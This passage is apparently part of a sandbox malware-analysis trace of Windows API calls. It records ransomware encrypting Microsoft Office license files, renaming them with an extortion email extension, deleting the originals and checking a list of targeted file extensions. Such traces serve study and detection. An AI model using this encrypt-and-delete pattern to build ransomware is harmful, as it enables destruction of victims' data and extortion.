lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x29a3, lpOverlapped=0x0) returned 1 [0264.359] WriteFile (in: hFile=0x550, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x29b0, lpOverlapped=0x0) returned 1 [0264.361] ReadFile (in: hFile=0x388, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0264.361] WriteFile (in: hFile=0x550, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x112, lpOverlapped=0x0) returned 1 [0264.361] SetEndOfFile (hFile=0x550) returned 1 [0264.361] CloseHandle (hObject=0x550) returned 1 [0264.362] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.362] SetEndOfFile (hFile=0x388) returned 1 [0264.368] CloseHandle (hObject=0x388) returned 1 [0264.368] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0264.369] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms")) returned 1 [0264.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0264.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0264.371] lstrlenW (lpString=".doc") returned 4 [0264.371] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0264.371] lstrlenW (lpString=".docx") returned 5 [0264.371] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0264.371] lstrlenW (lpString=".pdf") returned 4 [0264.371] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0264.371] lstrlenW (lpString=".xls") returned 4 [0264.371] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0264.371] lstrlenW (lpString=".xlsx") returned 5 [0264.372] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0264.372] lstrlenW (lpString=".ppt") returned 4 [0264.372] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0264.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0264.372] lstrlenW (lpString=".zip") returned 4 [0264.372] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0264.372] lstrlenW (lpString=".rar") returned 4 [0264.372] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0264.372] lstrlenW (lpString=".bz2") returned 4 [0264.372] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0264.372] lstrlenW (lpString=".7z") returned 3 [0264.372] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0264.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0264.372] lstrlenW (lpString=".dbf") returned 4 [0264.372] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0264.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0264.372] lstrlenW (lpString=".1cd") returned 4 [0264.372] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0264.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0264.372] lstrlenW (lpString=".jpg") returned 4 [0264.373] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0264.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0264.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0264.373] lstrlenW (lpString=".doc") returned 4 [0264.373] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0264.373] lstrlenW (lpString=".docx") returned 5 [0264.373] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0264.373] lstrlenW (lpString=".pdf") returned 4 [0264.373] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0264.373] lstrlenW (lpString=".xls") returned 4 [0264.373] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0264.373] lstrlenW (lpString=".xlsx") returned 5 [0264.373] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0264.373] lstrlenW (lpString=".ppt") returned 4 [0264.373] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0264.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0264.373] lstrlenW (lpString=".zip") returned 4 [0264.373] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0264.373] lstrlenW (lpString=".rar") returned 4 [0264.373] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0264.373] lstrlenW (lpString=".bz2") returned 4 [0264.373] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0264.374] lstrlenW (lpString=".7z") returned 3 [0264.374] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0264.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0264.374] lstrlenW (lpString=".dbf") returned 4 [0264.374] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0264.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0264.374] lstrlenW (lpString=".1cd") returned 4 [0264.374] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0264.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0264.374] lstrlenW (lpString=".jpg") returned 4 [0264.374] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0264.374] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0264.374] lstrlenW (lpString="HomeBusinessR_Retail2-ppd.xrm-ms") returned 32 [0264.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0264.376] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=22092) returned 1 [0264.376] CloseHandle (hObject=0x388) returned 1 [0264.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms")) returned 0x220 [0264.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0264.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0264.377] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.377] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0264.706] GetLastError () returned 0x0 [0264.706] ReadFile (in: hFile=0x388, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x564c, lpOverlapped=0x0) returned 1 [0264.783] WriteFile (in: hFile=0x574, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x5650, lpOverlapped=0x0) returned 1 [0264.785] ReadFile (in: hFile=0x388, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0264.785] WriteFile (in: hFile=0x574, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x114, lpOverlapped=0x0) returned 1 [0264.785] SetEndOfFile (hFile=0x574) returned 1 [0265.223] CloseHandle (hObject=0x574) returned 1 [0265.280] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.281] SetEndOfFile (hFile=0x388) returned 1 [0265.286] CloseHandle (hObject=0x388) returned 1 [0265.287] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0265.287] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms")) returned 1 [0265.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0265.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0265.289] lstrlenW (lpString=".doc") returned 4 [0265.289] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0265.289] lstrlenW (lpString=".docx") returned 5 [0265.289] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0265.289] lstrlenW (lpString=".pdf") returned 4 [0265.289] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0265.289] lstrlenW (lpString=".xls") returned 4 [0265.289] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0265.289] lstrlenW (lpString=".xlsx") returned 5 [0265.289] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0265.289] lstrlenW (lpString=".ppt") returned 4 [0265.290] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0265.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0265.290] lstrlenW (lpString=".zip") returned 4 [0265.290] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0265.290] lstrlenW (lpString=".rar") returned 4 [0265.290] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0265.290] lstrlenW (lpString=".bz2") returned 4 [0265.290] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0265.290] lstrlenW (lpString=".7z") returned 3 [0265.290] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0265.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0265.290] lstrlenW (lpString=".dbf") returned 4 [0265.290] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0265.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0265.290] lstrlenW (lpString=".1cd") returned 4 [0265.290] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0265.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0265.290] lstrlenW (lpString=".jpg") returned 4 [0265.290] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0265.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0265.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0265.291] lstrlenW (lpString=".doc") returned 4 [0265.291] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0265.291] lstrlenW (lpString=".docx") returned 5 [0265.291] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0265.291] lstrlenW (lpString=".pdf") returned 4 [0265.291] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0265.291] lstrlenW (lpString=".xls") returned 4 [0265.291] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0265.291] lstrlenW (lpString=".xlsx") returned 5 [0265.291] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0265.291] lstrlenW (lpString=".ppt") returned 4 [0265.291] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0265.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0265.291] lstrlenW (lpString=".zip") returned 4 [0265.291] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0265.291] lstrlenW (lpString=".rar") returned 4 [0265.291] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0265.291] lstrlenW (lpString=".bz2") returned 4 [0265.292] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0265.292] lstrlenW (lpString=".7z") returned 3 [0265.292] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0265.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0265.292] lstrlenW (lpString=".dbf") returned 4 [0265.292] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0265.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0265.292] lstrlenW (lpString=".1cd") returned 4 [0265.292] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0265.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0265.292] lstrlenW (lpString=".jpg") returned 4 [0265.292] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0265.292] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0265.293] lstrlenW (lpString="HomeBusinessR_Trial-pl.xrm-ms") returned 29 [0265.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0265.294] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=11167) returned 1 [0265.294] CloseHandle (hObject=0x388) returned 1 [0265.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms")) returned 0x220 [0265.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0265.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0265.296] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.296] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0265.298] GetLastError () returned 0x0 [0265.298] ReadFile (in: hFile=0x388, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x2b9f, lpOverlapped=0x0) returned 1 [0265.302] WriteFile (in: hFile=0x45c, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x2ba0, lpOverlapped=0x0) returned 1 [0265.304] ReadFile (in: hFile=0x388, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0265.304] WriteFile (in: hFile=0x45c, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x10e, lpOverlapped=0x0) returned 1 [0265.304] SetEndOfFile (hFile=0x45c) returned 1 [0265.305] CloseHandle (hObject=0x45c) returned 1 [0265.305] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.305] SetEndOfFile (hFile=0x388) returned 1 [0265.310] CloseHandle (hObject=0x388) returned 1 [0265.311] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0265.311] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms")) returned 1 [0265.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0265.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0265.313] lstrlenW (lpString=".doc") returned 4 [0265.313] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0265.313] lstrlenW (lpString=".docx") returned 5 [0265.313] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0265.313] lstrlenW (lpString=".pdf") returned 4 [0265.313] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0265.314] lstrlenW (lpString=".xls") returned 4 [0265.314] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0265.314] lstrlenW (lpString=".xlsx") returned 5 [0265.314] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0265.314] lstrlenW (lpString=".ppt") returned 4 [0265.314] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0265.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0265.314] lstrlenW (lpString=".zip") returned 4 [0265.314] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0265.314] lstrlenW (lpString=".rar") returned 4 [0265.314] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0265.314] lstrlenW (lpString=".bz2") returned 4 [0265.314] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0265.314] lstrlenW (lpString=".7z") returned 3 [0265.314] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0265.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0265.314] lstrlenW (lpString=".dbf") returned 4 [0265.314] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0265.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0265.314] lstrlenW (lpString=".1cd") returned 4 [0265.314] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0265.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0265.314] lstrlenW (lpString=".jpg") returned 4 [0265.314] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0265.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0265.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0265.315] lstrlenW (lpString=".doc") returned 4 [0265.315] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0265.315] lstrlenW (lpString=".docx") returned 5 [0265.315] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0265.315] lstrlenW (lpString=".pdf") returned 4 [0265.315] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0265.315] lstrlenW (lpString=".xls") returned 4 [0265.315] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0265.315] lstrlenW (lpString=".xlsx") returned 5 [0265.315] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0265.315] lstrlenW (lpString=".ppt") returned 4 [0265.315] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0265.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0265.315] lstrlenW (lpString=".zip") returned 4 [0265.315] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0265.315] lstrlenW (lpString=".rar") returned 4 [0265.316] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0265.316] lstrlenW (lpString=".bz2") returned 4 [0265.316] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0265.316] lstrlenW (lpString=".7z") returned 3 [0265.316] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0265.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0265.316] lstrlenW (lpString=".dbf") returned 4 [0265.316] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0265.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0265.316] lstrlenW (lpString=".1cd") returned 4 [0265.316] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0265.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0265.316] lstrlenW (lpString=".jpg") returned 4 [0265.316] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0265.448] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0265.448] lstrlenW (lpString="HomeBusinessR_Trial-ul-oob.xrm-ms") returned 33 [0265.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0265.450] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=11621) returned 1 [0265.450] CloseHandle (hObject=0x560) returned 1 [0265.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms")) returned 0x220 [0265.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0265.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0265.452] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.452] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft 